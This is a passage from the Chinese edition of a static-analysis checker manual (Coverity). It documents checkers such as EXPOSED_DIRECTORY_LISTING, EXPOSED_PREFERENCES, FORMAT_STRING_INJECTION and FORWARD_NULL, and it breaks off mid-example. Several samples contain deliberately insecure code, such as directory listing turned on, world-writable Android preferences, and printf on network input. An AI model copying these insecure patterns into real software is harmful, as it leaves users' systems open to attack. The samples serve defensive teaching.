支持的语言：. JavaScript、TypeScript

`EXPLICIT_THIS_EXPECTED` 会检测函数调用是否有隐式 `this` 参数；当被调用方显式引用 `this` 值时，表示期望显式 `this` 参数。在此类情况下，隐式 `this` 参数可能会因为上下文和/或环境不同而有不同的解释；`this` 值在使用严格模式的代码内可能默认为 `undefined`，在浏览器上下文中可能默认为 `window` 对象，在 Node.js 环境中默认为 `global` 对象。

默认启用：`EXPLICIT_THIS_EXPECTED` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。



#### Note

在 JavaScript 项目中使用无构建捕获时，在某些情况下，分析可能会对 `EXPLICIT_THIS_EXPECTED` 检查器产生大量误报。在这些情况下，我们建议使用 `cov-analyze` 命令的“`--disable EXPLICIT_THIS_EXPECTED`”选项禁用此检查器。

### 4.153.2. 示例

本部分提供了一个或多个 `EXPLICIT_THIS_EXPECTED` 示例。

在 JavaScript 中，`this` 关键字会引用调用栈中函数调用位置的上下文，而不是源代码中的词法范围。`EXPLICIT_THIS_EXPECTED` 会检测具有未指定（默认或隐式）上下文的函数调用使用 `this` 关键字的其他函数的情况。

在下面的示例中，如果期望显式绑定，则在 `obj.showValue()` 方法中调用 `computeValue()` 取决于隐式绑定：

```
function example1() {
 var obj = { value: 1 };

 function computeValue() { return compute(this.value); }

 obj.computeValue = computeValue;

 obj.showValue = function() {
 console.log("Computed value: "
 + computeValue()); // EXPLICIT_THIS_EXPECTED here!
 // Should be `this.computeValue()`
 };

 obj.showValue();
}
```

同样地，在此示例中，调用 `f()` 缺少显式绑定：

```
function example2() {
 var obj = {
 value: 2,
```

```
 method_with_a_really_long_name: function(x) { do_something(this.value, x) }
};

// f is intended as a macro to shorten the code following it
var f = obj.method_with_a_really_long_name;

// But, f(0) is not the same as obj.method_with_a_really_long_name(0)
console.log("The result is : " + f(0)); // EXPLICIT_THIS_EXPECTED here
console.log("The result is : " + f.call(obj, 0)); // This works; explicit
binding with `call()` method
}
```

#### 4.153.3. 事件

本部分描述了 EXPLICIT\_THIS\_EXPECTED 检查器生成的一个或多个事件。

在调用位置：

- implicit\_this\_used - 调用函数 <function>，使用的是隐式 this 参数，但应该使用显式 this。

在被调用方中显式使用 this：

- explicit\_this\_parameter - 显式使用 this。

### 4.154. EXPOSED\_DIRECTORY\_LISTING

安全检查器

#### 4.154.1. 概述

支持的语言：. Go、JavaScript、TypeScript

EXPOSED\_DIRECTORY\_LISTING 查找浏览目录时提供目录中文件的完整列表的情况。列出所有目录文件可使攻击者了解此目录中的文件名称，这有助于他们探测保护不足的文件或有针对性地进行路径遍历攻击。

##### 4.154.1.1. Go

EXPOSED\_DIRECTORY\_LISTING 查找通过显式将以下项之一设置为 true 来暴露目录列表的情况：

- 配置文件中的 DirectoryIndex 选项。
- github.com/beego/beego/server/web 框架的配置对象中的 web.BConfig.WebConfig.DirectoryIndex 属性。
- github.com/gin-gonic/gin 框架的函数 `Dir(root string, listDirectory bool)` 的 listDirectory 参数。

默认启用 : EXPOSED\_DIRECTORY\_LISTING 默认对 Go 启用。

#### 4.154.1.2. JavaScript、TypeScript

EXPOSED\_DIRECTORY\_LISTING 可查找 Hapi 应用程序使用 inert 插件提供目录处理器以帮助设置和限制文件路径的情况。当处理程序的可选属性 listing 被设置为 true 时，会将指定路径的目录列表返回给用户。这可能导致无意中泄露文件名和目录结构；这对攻击者而言可能是有用的信息。

默认禁用 : EXPOSED\_DIRECTORY\_LISTING 默认对 JavaScript 和 TypeScript 禁用。要启用它，可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 EXPOSED\_DIRECTORY\_LISTING 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

#### 4.154.2. 示例

本部分提供了一个或多个 EXPOSED\_DIRECTORY\_LISTING 示例。

##### 4.154.2.1. Go

在下面的示例中，如果将配置对象中的 web.BConfig.WebConfig.DirectoryIndex 属性显式设置为 true，将显示 EXPOSED\_DIRECTORY\_LISTING 缺陷。

```
```
go
package main
import "github.com/beego/beego/server/web"

func setDefaultConfig() {
    web.BConfig.WebConfig.StaticDir["/swagger"] = "swagger"
    web.BConfig.WebConfig.DirectoryIndex = true    // defect here
    web.Run()
}
```
```

##### 4.154.2.2. JavaScript、TypeScript

以下代码示例可实例化 Hapi 服务器并注册 inert 插件。在配置目录处理器并将 listing 属性设置为 true 时，将显示 EXPOSED\_DIRECTORY\_LISTING 缺陷：

```
const Hapi = require('hapi');
const Inert = require('inert');

const server = new Hapi.Server();
server.connection({ port: 3000 });

server.register(Inert, () => {});
```

```

server.route({
 method: 'GET',
 path: '/{param*}',
 handler: {
 directory: {
 path: '.',
 redirectToSlash: true,
 index: true,
 listing: true // defect here
 }
 }
});

```

## 4.155. EXPOSED\_PREFERENCES

安全检查器

### 4.155.1. 概述

支持的语言：. Java、Kotlin

EXPOSED\_PREFERENCES 可查找调用不使用 MODE\_PRIVATE 模式的 android.content.Context.getSharedPreferences 和 android.app.Activity.getPreferences 的很多情况。使用除 MODE\_PRIVATE 之外的模式可能会创建其他应用程序可访问的 SharedPreferences 对象。恶意应用程序可以从此 SharedPreferences 对象读取或向其写入。

- Java 启用

默认禁用：EXPOSED\_PREFERENCES 默认禁用。

Android 安全检查器启用：要同时启用 EXPOSED\_PREFERENCES 以及其他 Java Android 安全检查器，请在 cov-analyze 命令中使用 --android-security 选项。

- Kotlin 启用

EXPOSED\_PREFERENCES 默认启用。

### 4.155.2. 缺陷剖析

EXPOSED\_PREFERENCES 缺陷显示了对使用除 MODE\_PRIVATE 之外的模式的 android.content.Context.getSharedPreferences 或 android.app.Activity.getPreferences 的调用。

### 4.155.3. 示例

本部分提供了一个或多个 EXPOSED\_PREFERENCES 示例。

#### 4.155.3.1. Java

在下面的代码示例中，由于 `userdetails` 偏好设置文件的内容使用 `MODE_WORLD_WRITEABLE` 模式检索，因此其他应用程序对此文件具有 `write` 访问权限。恶意应用程序可以向此文件写入数据。

由于活动偏好设置文件的内容使用 `MODE_WORLD_READABLE` 模式检索，因此其他应用程序对此文件具有 `read` 访问权限。恶意应用程序可以从此文件读取数据。

```
public class SampleActivity extends Activity {

 @Override
 public void onCreate(Bundle savedInstanceState) {
 super.onCreate(savedInstanceState);

 // defect: EXPOSED_PREFERENCES
 SharedPreferences userDetails = getSharedPreferences("userdetails",
 MODE_WORLD_WRITEABLE);

 // defect: EXPOSED_PREFERENCES
 SharedPreferences preferences = getPreferences(MODE_WORLD_READABLE);

 // ...
 }

 // ...
}
```

#### 4.155.3.2. Kotlin

在下面的代码示例中，由于 `userdetails` 偏好设置文件的内容使用 `MODE_WORLD_WRITEABLE` 模式检索，因此其他应用程序对此文件具有 `write` 访问权限。恶意应用程序可以向此文件写入数据。

由于活动偏好设置文件的内容使用 `MODE_WORLD_READABLE` 模式检索，因此其他应用程序对此文件具有 `read` 访问权限。恶意应用程序可以从此文件读取数据。

```
class SampleActivity : Activity() {

 override fun onCreate(savedInstanceState: Bundle?) {
 super.onCreate(savedInstanceState)

 val userDetails = getSharedPreferences("userdetails", MODE_WORLD_WRITEABLE)
 val preferences = getPreferences(MODE_WORLD_READABLE)

 // ...
 }
 // ...
}
```

### 4.156. EXPRESS\_SESSION\_UNSAFE\_MEMORYSTORE

#### 4.156.1. 概述

支持的语言：. JavaScript、TypeScript

EXPRESS\_SESSION\_UNSAFE\_MEMORYSTORE 检查器标记以下 express-session 实例：其中 store 属性在配置中被设置为 (express-session).MemoryStore 或被忽略（默认值为 (express-session).MemoryStore）。

EXPRESS\_SESSION\_UNSAFE\_MEMORYSTORE 检查器默认禁用。可以使用 cov-analyze 命令的 webapp-security 选项启用此检查器。

#### 4.156.2. 示例

本部分提供了一个或多个 EXPRESS\_SESSION\_UNSAFE\_MEMORYSTORE 示例。

在本例中，MemoryStore 对象被用作该会话的 store 选项。在配置 express-session 实例中将属性 store 设置为 MemoryStore 时，会显示 EXPRESS\_SESSION\_UNSAFE\_MEMORYSTORE 缺陷：

```
var session = require('express-session');
var express = require('express');
var config = require('config.json');

var app = express();

app.use(session({
 name:'server-session-cookie-id',
 saveUninitialized: true,
 resave: true,
 store: new session.MemoryStore(), // EXPRESS_SESSION_UNSAFE_MEMORYSTORE defect
 secret: config.secret,
 cookie: {
 secure: true,
 httpOnly: true
 },
}));
```

### 4.157. EXPRESS\_WINSTON\_SENSITIVE\_LOGGING

#### 4.157.1. 概述

支持的语言：. JavaScript、TypeScript

EXPRESS\_WINSTON\_SENSITIVE\_LOGGING 检查器查找敏感数据被 express-winston 的中间件组件自动记录的多种情况。在以下情况下会返回缺陷：

- 该应用程序使用 express-winston，并且错误记录器使用不安全的 requestWhitelist：
  - 使用默认的 requestWhitelist。默认情况下，requestWhitelist 包括请求 headers。

- 属性 `requestWhitelist` 包含请求 `body` 或 `headers` 属性。
- 该应用程序使用 `express-winston`，并且请求记录器使用不安全的允许清单或拒绝清单：
  - 使用默认的 `requestWhitelist`。默认情况下，`requestWhitelist` 包括请求 `headers`。
  - 属性 `requestWhitelist` 包含请求 `body` 或 `headers` 属性。
  - 属性 `responseWhitelist` 包含 `headers` 或 `body` 属性。
  - 定义了属性 `bodyBlacklist`。`bodyBlacklist` 将自动允许所有不在拒绝清单中的属性，这是不安全的。
  - 属性 `bodyWhitelist` 包含敏感参数。
- 该应用程序使用 `express-winston` 并记录敏感性 `meta` 数据：
  - 该错误记录器启用 `meta` 选项，并且 `dynamicMeta` 函数返回一个包含敏感数据的对象。
  - 该请求记录器启用 `meta` 选项，`dynamicMeta` 函数返回包含敏感数据的对象。

`EXPRESS_WINSTON_SENSITIVE_LOGGING` 检查器默认禁用；它仅在审计模式下启用。

#### 4.157.2. 示例

本部分提供了一个或多个 `EXPRESS_WINSTON_SENSITIVE_LOGGING` 示例。

在下面的示例中，针对包含 `body` 属性的 `requestWhitelist` 属性，显示 `EXPRESS_WINSTON_SENSITIVE_LOGGING` 缺陷。

```
var express = require('express');
var winston = require('winston');
var expressWinston = require('express-winston');

var app = express();

app.use(expressWinston.errorLogger({
 transports: [
 new winston.transports.Console({
 json: true,
 colorize: true,
 })
],
 requestWhitelist: ['body']
}));
```

#### 4.158. EXPRESS\_X\_POWERED\_BY\_ENABLED 安全检查器

#### 4.158.1. 概述

支持的语言：. JavaScript、TypeScript

EXPRESS\_X\_POWERED\_BY\_ENABLED 可查找 Express 应用程序报告 X-Powered-By 头文件的情况。默认情况下，此头文件随每个响应一起发送，并包含 Web 服务器的名称 (Express)。此信息披露服务器上运行的软件的类型，并可能帮助攻击者针对您的应用程序制定更好的有针对性的攻击。

默认禁用：EXPRESS\_X\_POWERED\_BY\_ENABLED 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 EXPRESS\_X\_POWERED\_BY\_ENABLED 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

#### 4.158.2. 示例

本部分提供了一个或多个 EXPRESS\_X\_POWERED\_BY\_ENABLED 示例。

在下面的示例中，针对 app 变量的实例化显示 EXPRESS\_X\_POWERED\_BY\_ENABLED：

```
var express = require('express');
var app = express(); // EXPRESS_X_POWERED_BY_ENABLED defect

var server = app.listen(3000, function () {
 var port = server.address().port;
 console.log('Your app listening at http://localhost:%s', port);
});
```

### 4.159. FILE\_UPLOAD\_MISCONFIGURATION

#### 4.159.1. 概述

支持的语言：. JavaScript、TypeScript

FILE\_UPLOAD\_MISCONFIGURATION 检查器查找以下情况：Express 应用程序的 express-fileupload 插件被错误配置，并可能会允许拒绝服务攻击。

错误配置可能包括多种情况。例如，应限制上传请求中文件字段和非文件字段的数量。文件字段由 files 属性指定，非文件字段由 fields 属性指定，多部分请求中文件字段和非文件字段的总数量可以使用 parts 属性指定。

应该限制上传文件的大小。上传文件的最大大小可以通过 fileSize 属性指定。

通过将 preservePath 选项设置为 true，使用用户指定的路径存储这些文件这也存在风险，因为不会从用户提供的文件名中剥离危险字符。

使用内存缓冲区而非临时文件来管理上传可能会在上传大文件时导致内存耗尽问题。

FILE\_UPLOAD\_MISCONFIGURATION 检查器默认禁用。您可以使用 cov-analyze 命令的 --webapp-security 选项启用它。

#### 4.159.2. 示例

本部分提供了一个或多个 FILE\_UPLOAD\_MISCONFIGURATION 示例。

在下面的示例中，针对 `express-fileupload` 插件的实例化显示了 FILE\_UPLOAD\_MISCONFIGURATION 缺陷两次，因为传递的选项对文件或非文件字段的数量以及上传文件的最大大小没有任何限制。请注意，缺陷是通过 `--webapp-security` 标志报告的。

```
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ useTempFiles : true, safeFileNames: true })); //#defects here
```

### 4.160. FB.\* (SpotBugs)

质量、安全检查器

#### 4.160.1. 概述

支持的语言：. Java

Coverity 通过 cov-analyze 命令支持 SpotBugs 分析。SpotBugs（旧名称 FindBugs）是一个开源程序，可查找 Java 代码中的程序缺陷（缺陷）。它提供了一大组 SpotBugs 程序缺陷模式，可检测各种缺陷。SpotBugs 检查器说明书[描述](#)了每种 SpotBugs 程序缺陷模式。（这些描述来自 SpotBugs 文档，此文档可从 <http://spotbugs.readthedocs.io/> 获取。）

请注意，SpotBugs 说明书为每种程序缺陷模式添加了 FB. 前缀。此前缀可帮助您区分 SpotBugs 程序缺陷和 Coverity 检查器发现的缺陷。例如，SpotBugs 文档中的 DM\_EXIT 与该说明书中的 FB.DM\_EXIT 相同。

像其他缺陷一样，SpotBugs 程序缺陷也显示在您用于运行 cov-analyze 的控制台输出中，以及您通过 cov-commit-defects 命令提交至 Coverity Connect 的缺陷中。

SpotBugs 缺陷不受 Coverity 注解的影响。有关更多信息，请参阅 <http://spotbugs.readthedocs.io/>。

仅关注质量的 SpotBugs 检查器

默认启用：纯质量方面的 SpotBugs 检查器默认启用。要禁用它们，请参阅 Section 1.2.1，“使用 cov-analyze 启用和禁用检查器”。

与安全相关的 SpotBugs 检查器

很多与安全相关的检查器都默认禁用。要启用它们，请参阅《Coverity 命令说明书》中介绍的 cov-analyze 的 Java SpotBugs 选项。

请注意，与安全相关的 SpotBugs 检查器也是质量检查器。但是，并非所有与质量相关的 SpotBugs 检查器都是安全检查器。

## 4.161. FLOATING\_POINT\_EQUALITY

质量检查器

### 4.161.1. 概述

支持的语言： C、C++

FLOATING\_POINT\_EQUALITY 检查器要求不应直接或间接对浮点表达式执行相等或不等测试。浮点类型的固有性质是，即使预期得到浮点类型值，进行等式比较时通常也不会得到 true 结果。此外，这种比较行为在执行之前无法预测，因此可能会因执行不同而得到不同的结果。

( 该检查器改编自 MISRA C++2008 规则 6-2-2。 )

默认禁用：FLOATING\_POINT\_EQUALITY 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

### 4.161.2. 缺陷剖析

FLOATING\_POINT\_EQUALITY 检查器会报告直接或间接对浮点表达式执行相等或不等测试的情况。浮点类型的固有性质是，即使预期得到浮点类型值，进行等式比较时通常也不会得到 true 结果。此外，这种比较行为在执行之前无法预测，因此可能会在不同执行中得到迥然不同的结果。

### 4.161.3. 示例

本部分提供了一个或多个 FLOATING\_POINT\_EQUALITY 示例。

对于下面的示例，将报告每个 if 语句的 FLOATING\_POINT\_EQUALITY 缺陷。

```
float32_t x, y;
if (x == y) {}
if (x == 0.0f) {}
```

间接测试还将针对下面显示的每项测试报告缺陷：

```
float32_t x, y;
if ((x <= y) && (x >= y)) {}
if ((x < y) || (x > y)) {}
```

如果测试并非纯粹的相等测试，则不报告任何缺陷；例如：

```
float32_t x, y;
if ((x < y)) {}
if ((x <= y)) {}
```

### 4.161.4. 事件

本部分描述了 FLOATING\_POINT\_EQUALITY 检查器生成的一个或多个事件。

- floating\_point\_equality - 主要事件，它显示浮点表达式是否执行了相等或不等测试。

## 4.162. FORMAT\_STRING\_INJECTION

安全检查器

### 4.162.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

FORMAT\_STRING\_INJECTION 查找在使用来自不可信源的未经过验证的值来构造格式化字符串时发生的安全漏洞。

FORMAT\_STRING 数据消费者类型与此检查器相关。

默认禁用：FORMAT\_STRING\_INJECTION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

还可以使用 cov-analyze 命令的 --security 选项启用此检查器。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8, “被污染的数据概述””。

### 4.162.2. 示例

本部分提供了一个或多个 FORMAT\_STRING\_INJECTION 示例。

在下面的 C 示例中，针对 printf 语句显示了 FORMAT\_STRING\_INJECTION 缺陷。假设 message 由攻击者控制，printf(message) 可能会导致缓冲区溢出并让攻击者控制该应用程序。

```
void bug(int socket) {
 char message[1024];
 if (recv(socket, message, sizeof(message), 0) > 0) {
 printf(message); //defect
 }
}
```

### 4.162.3. 选项

本部分描述了一个或多个 FORMAT\_STRING\_INJECTION 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- FORMAT\_STRING\_INJECTION:distrust\_all:<boolean> - [C、C++、JavaScript、PHP、Python、Swift] 将此选项设置为 true 等同于将此检查器的所有 trust\_\* 检查器选项设置为 false。默认值为 FORMAT\_STRING\_INJECTION:distrust\_all:false。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true（适用于 C 和 C++）。

- FORMAT\_STRING\_INJECTION:paranoid:<boolean> - [C、C++] 如果将非常量字符串用作格式化字符串参数，则报告缺陷。这可以解决 Coverity Analysis 不跟踪被污染字符串传递的情况（通常在字符串流过全局变量时发生）。对于格式化字符串漏洞，将正确的格式说明符（通常是 %s）添加为格式化字符串参数通常可以减轻此类问题。默认值为 FORMAT\_STRING\_INJECTION:paranoid:false。当攻击性等级为 high 时，该选项自动启用。
- FORMAT\_STRING\_INJECTION:trust\_command\_line:<boolean> - [C、C++] 将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 FORMAT\_STRING\_INJECTION:trust\_command\_line:true（适用于所有语言）。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line 命令行选项。
- FORMAT\_STRING\_INJECTION:trust\_console:<boolean> - [C、C+] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 FORMAT\_STRING\_INJECTION:trust\_console:true（适用于所有语言）。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console 命令行选项。
- FORMAT\_STRING\_INJECTION:trust\_cookie:<boolean> - [C、C+] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自 HTTP cookie 的数据视为被污染。默认值为 FORMAT\_STRING\_INJECTION:trust\_cookie:false（适用于所有语言）。设置此检查器选项会覆盖全局 --trust-cookie 和 --distrust-cookie 命令行选项。
- FORMAT\_STRING\_INJECTION:trust\_database:<boolean> - [C、C+] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 FORMAT\_STRING\_INJECTION:trust\_database:true（适用于所有语言）。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database 命令行选项。
- FORMAT\_STRING\_INJECTION:trust\_environment:<boolean> - [C、C+] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为 FORMAT\_STRING\_INJECTION:trust\_environment:true（适用于所有语言）。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment 命令行选项。
- FORMAT\_STRING\_INJECTION:trust\_filesystem:<boolean> - [C、C+] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 FORMAT\_STRING\_INJECTION:trust\_filesystem:true（适用于所有语言）。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。
- FORMAT\_STRING\_INJECTION:trust\_http:<boolean> - [C、C+] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 FORMAT\_STRING\_INJECTION:trust\_http:false（适用于所有语言）。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- FORMAT\_STRING\_INJECTION:trust\_http\_header:<boolean> - [C、C+] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 FORMAT\_STRING\_INJECTION:trust\_http\_header:false（适用于所有语言）。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header 命令行选项。
- FORMAT\_STRING\_INJECTION:trust\_network:<boolean> - [C、C+] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为 FORMAT\_STRING\_INJECTION:trust\_network:false（适用于所有语言）。设置此检查器选项会覆盖全局 --trust-network 和 --distrust-network 命令行选项。

- FORMAT\_STRING\_INJECTION:trust\_rpc:<boolean> - [C、C++] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 FORMAT\_STRING\_INJECTION:trust\_rpc:false (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc 命令行选项。
- FORMAT\_STRING\_INJECTION:trust\_system\_properties:<boolean> - [C、C++] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 FORMAT\_STRING\_INJECTION:trust\_system\_properties:true (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。

#### 4.162.4. 模型和注解

##### 4.162.4.1. C、C++、Objective C、Objective C++

您可以创建自定义用户模型，以指明关于某些函数的安全特定信息。

下面的模型表明，当 s 参数无效时（因此不应再将其视为被污染），custom\_sanitize() 会返回 true。如果 s 参数无效，custom\_sanitize() 会返回 false，并且分析会继续将 s 记录为被污染：

```
bool custom_sanitize(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, FORMAT_STRING);
 return true;
 }
 return false;
}
```

您可以使用 \_\_coverity\_mark\_pointee\_as\_tainted\_\_ 和 \_\_coverity\_taint\_sink\_\_ 建模原语为其他被污染的 C/C++ 数据源和数据消费者建模。

作为库模型的替代，您还可以在紧接在目标函数之前的源代码注释中使用以下函数注解标记：

- +taint\_sanitize：指明函数净化字符串参数。例如，下面的代码指明 custom\_sanitize() 净化了其 s 字符串参数：

```
// coverity[+taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- +taint\_source（没有参数）：指明函数返回被污染的字符串数据。例如，下面的代码指明 packet\_get\_string() 返回了被污染的字符串值：

```
// coverity[+taint_source]
char* packet_get_string() {...}
```

- +taint\_source（含有参数）：指明函数污染指定字符串参数的内容。例如，下面的代码指明 custom\_string\_read() 污染了其 s 参数的内容：

```
// coverity[+taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) { ... }
```



#### Note

taint\_source 函数注解与以下这些检查器一起运行：

FORMAT\_STRING\_INJECTION、HEADER\_INJECTION、OS\_CMD\_INJECTION、PATH\_MANIPULATION、SCALAR\_INJECTION 和 XPATH\_INJECTION。

您可以使用以下函数注解标记忽略函数模型：

- `-taint_sanitize`：指明函数不净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 不净化其 `s` 字符串参数：

```
// coverity[-taint_sanitize : arg-*0]
void custom_sanitize(char* s) { ... }
```

- `-taint_source`（没有参数）：指明函数不返回被污染的字符串数据。例如，下面的代码指明 `packet_get_string()` 不返回被污染的字符串值：

```
// coverity[-taint_source]
char* packet_get_string() { ... }
```

- `-taint_source`（含有参数）：指明函数不污染指定字符串参数的内容。例如，下面的代码指明 `custom_string_read()` 不污染其 `s` 参数的内容：

```
// coverity[-taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) { ... }
```

## 4.163. FORWARD\_NULL

质量检查器

### 4.163.1. 概述

支持的语言：. C、C++、C#、Go、Java、JavaScript、Objective-C、Objective-C++、PHP、Python、Ruby、Swift、Scala、TypeScript、Visual Basic

FORWARD\_NULL 可查找可能导致程序终止或运行时异常的错误。它可查找指针或引用被检查是否为 `null` 或被赋值为 `null`，且之后被解引用的很多情况。对于 JavaScript、PHP、Python 和 Ruby，此检查器可查找以下许多情况：检查值是否为（或被赋值为）`null` 或者 `undefined`，然后被用作对象（访问其属性）或函数（对其调用）。

默认启用：FORWARD\_NULL 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

Android (仅限 Java)：对于基于 Android 的代码，此检查器可查找与用户活动、屏幕活动、应用程序状态以及其他项目相关的问题。

#### 4.163.1.1. C/C++、 Go

解引用 null 指针导致未定义行为，通常是程序崩溃。

对于 C/C++，该 FORWARD\_NULL 检查器报告以下三种情况：

- 检查是否为 NULL，然后在为 null 的路径中解引用。
- 赋值 NULL，然后获取值未发生更改的路径。
- 在未首先检查 dynamic\_cast 返回值是否为 NULL 的情况下，解引用它。如果确认该值始终都为非 null 值，则可以使用 static\_cast 来避免报告缺陷。

#### 4.163.1.2. C#、 Java、 Scala 和 Visual Basic

解引用 null 引用变量会导致运行时错误（会停止执行）。此错误通常是由于检查是否为 null，然后未正确处理条件或者未在代码路径中检查是否为 null 导致的。

对于 C# 和 Visual Basic，该检查器会报告未检查 as 和 TryCast 表达式结果的解引用导致的缺陷。该检查器会将此类表达式分类为未检查的 as 和 TryCast 转换。

对于 Java，解引用 null 引用变量会导致运行时 NullPointerException（停止执行）。此错误通常是由检查是否为 null，然后未正确处理条件或者未在代码路径中检查是否为 null 导致的。

#### 4.163.1.3. JavaScript、 TypeScript

使用 null 或未定义的值作为对象（即访问其任何属性）或作为函数（即调用它）会导致运行时异常（这会停止执行）。JavaScript FORWARD\_NULL 检查器会报告以下情况：

- 访问值的属性或调用之前与 null 或 undefined 进行比较的值。
- 访问值的属性或调用之前被赋予 null 或 undefined 的值。
- 访问值的属性或调用隐式初始化为 undefined 的值。

#### 4.163.1.4. PHP

调用未定义的函数（或方法）、创建未定义类的实例、抛出 null 值都属于严重错误。虽然访问 null 值在 PHP 中通常不是严重错误， FORWARD\_NULL 会检测任何在此类严重错误情况下使用 null 值的情况。

#### 4.163.1.5. Python

在 Python 中，在表达式中使用类 null 值将会导致异常（这会导致停止执行）。

类 null 值可以通过以下方式显式创建：赋予 None、 Ellipsis 或 NotImplemented，赋予返回 void 的函数的返回值或者在变量被赋值之前使用变量。

导致异常的使用情况包括将类 null 值用作一元或二进制运算符的操作数，或者将此类值用作属性引用或函数调用的基础名称。

#### 4.163.1.6. Ruby

在 Ruby 中，预定义的常量对象 `nil`、`false` 和 `true` 具有知名的有限制的接口。对于其中一个对象，尝试针对它调用位于其知名接口之外的方法将导致 `NameError` 或 `NoMethodError` 异常。

已知符号是指跟踪 `nil`、`false` 或 `true`。在针对此类符号调用方法并且方法的名称不是其中一个知名方法名称时，将被认为是 `null` 解引用，并报告缺陷。

#### 4.163.1.7. Swift

在 Swift 中，此检查器查找检查可选值是否为或被分配 `nil`，然后解包的很多情况，通常具有某种类型的“!”运算符或声明。

```
handler?.handle(a)
handler!.handle(b) // FORWARD_NULL
```

第一个语句检查处理程序是否为 `nil`，并且如果它是 `nil`，则跳过调用。第二个语句断言该处理程序不是 `nil` 并执行类似调用。会将关于对处理程序是否可能为 `nil` 的不一致处理方式报告为缺陷。

#### 4.163.2. 缺陷剖析

`FORWARD_NULL` 缺陷显示以下路径：在该路径中，通过将在运行时崩溃或抛出异常的方式使用 `null` 或 `undefined` 值。哪些特定值不安全以及哪些特定访问触发异常或崩溃因语言而异。此检查器仅报告导致崩溃或异常的组合。

路径可以在多个可能的位置开始，对应于说明值为 `null`、`undefined` 或以其他方式不安全使用的不同类型的证据。

- 将 `null` 显式赋值给变量。
- 将 `null` 显式传递给可能不安全使用它的函数。
- 检查值是否为 `null`、`defined` 或以其他方式安全使用。
- 将本地变量隐式初始化为不安全值。

路径以不安全使用值 `dereference`、访问字段或属性，或作为函数调用它结束。

#### 4.163.3. 示例

本部分提供了一个或多个 `FORWARD_NULL` 示例。

##### 4.163.3.1. C/C++

在此示例中，首先检查 `p` 是否为 `NULL`，然后在不再次检查是否为 `NULL` 的情况下解引用。

```
int forward_null_example1(int *p) {
 int x;
 if (p == NULL) {
```

```
 x = 0;
} else {
 x = *p;
}
x += fn();
*p = x; // Defect: p is potentially NULL
return 0;
}
```

下面的示例说明了检查器选项 deref\_zero\_errors:boolean 的作用。

下面是使用 -co FORWARD\_NULL:deref\_zero\_errors:true 检测到的问题的两个示例。

```
char *pDest;

void test1() {
 memcpy(pDest, NULL, 10);
}
```

```
char *pDest;

void foo(char *p) {
 memcmp(pDest, p, 10);
}

void bar() {
 foo(NULL);
}
```

最后，下面是说明使用 -co FORWARD\_NULL:deref\_zero\_errors:true 未检测到任何问题但没有解引用的示例。

```
char *pDest;

void foo2(char *p) {
 if (p) {
 memcmp(pDest, p, 10);
 }
}

void bar() {
 foo2(NULL);
}
```

#### 4.163.3.2. C#

在此示例中，首先检查 o 是否为 null，然后在不再次检查是否为 null 的情况下解引用。

```
public class ForwardNull {
 void Example(object o) {
 if (o != null) {
```

```

 }
 // o will be null on the 'else' case of the if.
 System.Console.WriteLine(o.ToString());
}
}

```

#### 4.163.3.3. Go

在下面的示例中，针对最后一个语句检测了 FORWARD\_NULL 缺陷。

```

type Config struct {
 host string
 port int
 setup bool
}

func setup(c *Config) {
 if c != nil {
 c.port = 80
 }
 c.setup = false
}

```

#### 4.163.3.4. Visual Basic

在此示例中，首先检查 o 是否为 Nothing，然后在不再次检查是否为 Nothing 的情况下解引用。

```

Imports System
Public Class ForwardNull
 Private Sub Example(o As Object)
 If o IsNot Nothing Then
 End If
 ' o will be null on the 'Else' case of the If.
 Console.WriteLine(o.ToString())
 End Sub
End Class

```

#### 4.163.3.5. Java

在此示例中，callA 将 null 传递给 testA，这会解引用其参数。也存在将新的 Object() 传递给 testA 的控件 callB，表明未报告缺陷。

```

public class ForwardNullExample {
